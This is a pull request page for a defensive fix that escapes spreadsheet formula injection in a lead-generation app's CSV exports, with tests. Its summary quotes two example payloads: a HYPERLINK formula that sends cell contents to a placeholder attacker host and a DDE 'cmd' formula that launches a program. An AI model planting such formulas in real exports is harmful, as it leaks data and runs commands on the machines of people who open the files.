Repository navigation
Conversation
GET /api/export/csv and the CLI export wrote scraped lead fields straight into the CSV. A company name, contact or note such as =HYPERLINK(...) or +cmd|... is executed by Excel or Sheets when the export is opened. The workbook and audit-log exports already prefix such cells with an apostrophe. Add csv_safe() with the same rule (leading = + - @, tab or carriage return) and apply it to both lead exports. Numbers and phone-like text such as +1 (555) 010-0100 cannot contain a function or reference, so they stay as is. Co-Authored-By: Claude Sonnet 5.5 <noreply@anthropic.com> Signed-off-by: Rudy Celekli <47457359+rudycelekli@users.noreply.github.com>
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
Add this suggestion to a batch that can be applied as a single commit.This suggestion is invalid because no changes were made to the code.Suggestions cannot be applied while the pull request is closed.Suggestions cannot be applied while viewing a subset of changes.Only one suggestion per line can be applied in a batch.Add this suggestion to a batch that can be applied as a single commit.Applying suggestions on deleted lines is not supported.You must change the existing code in this line in order to create a valid suggestion.Outdated suggestions cannot be applied.This suggestion has been applied or marked resolved.Suggestions cannot be applied from pending reviews.Suggestions cannot be applied on multi-line comments.Suggestions cannot be applied while the pull request is queued to merge.Suggestion cannot be applied right now. Please check back later.
Summary
GET /api/export/csvand the CLI export (apps/api/services/leadgen/export.py) write lead fields straight into the CSV. Lead fields (company, contact, notes, ...) are scraped from third-party pages, so a value such as=HYPERLINK("http://attacker/?x="&A1,"Click")or+cmd|' /C calc'!A0is executed by Excel or Sheets when the export is opened. The workbook export and the governance audit export in this repo already prefix such cells with an apostrophe; the lead exports did not.Security-sensitive note (per CONTRIBUTING): this is output encoding on an export route, not an auth/tenancy/SSRF change. It is a spreadsheet-injection hardening, not a server-side vulnerability.
Change
csv_safe()inapps/api/services/leadgen/export.pyapplies the same rule as the other exports (cells starting with=,+,-,@, tab or carriage return get a leading') and both lead exports use it. Numbers pass through unchanged, and so do phone-like strings (+1 (555) 010-0100, regex^[+-]?[0-9][0-9 ().-]*$), because text with only digits and+-().and spaces cannot hold a function name or cell reference, and escaping would corrupt every international phone number. Say so if you would rather escape those too, as the workbook export does.Evidence
New
tests/test_lead_csv_export.py(API route, CLI export, and 13csv_safecases). Withcsv_safestubbed to a no-op, i.e. today's behavior, the API and CLI tests and the injection cases of the unit test fail:Verification
uv run pytest tests/test_lead_csv_export.py tests/test_lead_create_collision.py tests/test_lead_list_pagination.py tests/test_lead_store_sqlite.py tests/test_lead_utility_endpoints.py tests/test_governance_export.py tests/test_lead_quality_gate.py: 44 passed.Commit is signed off per the DCO.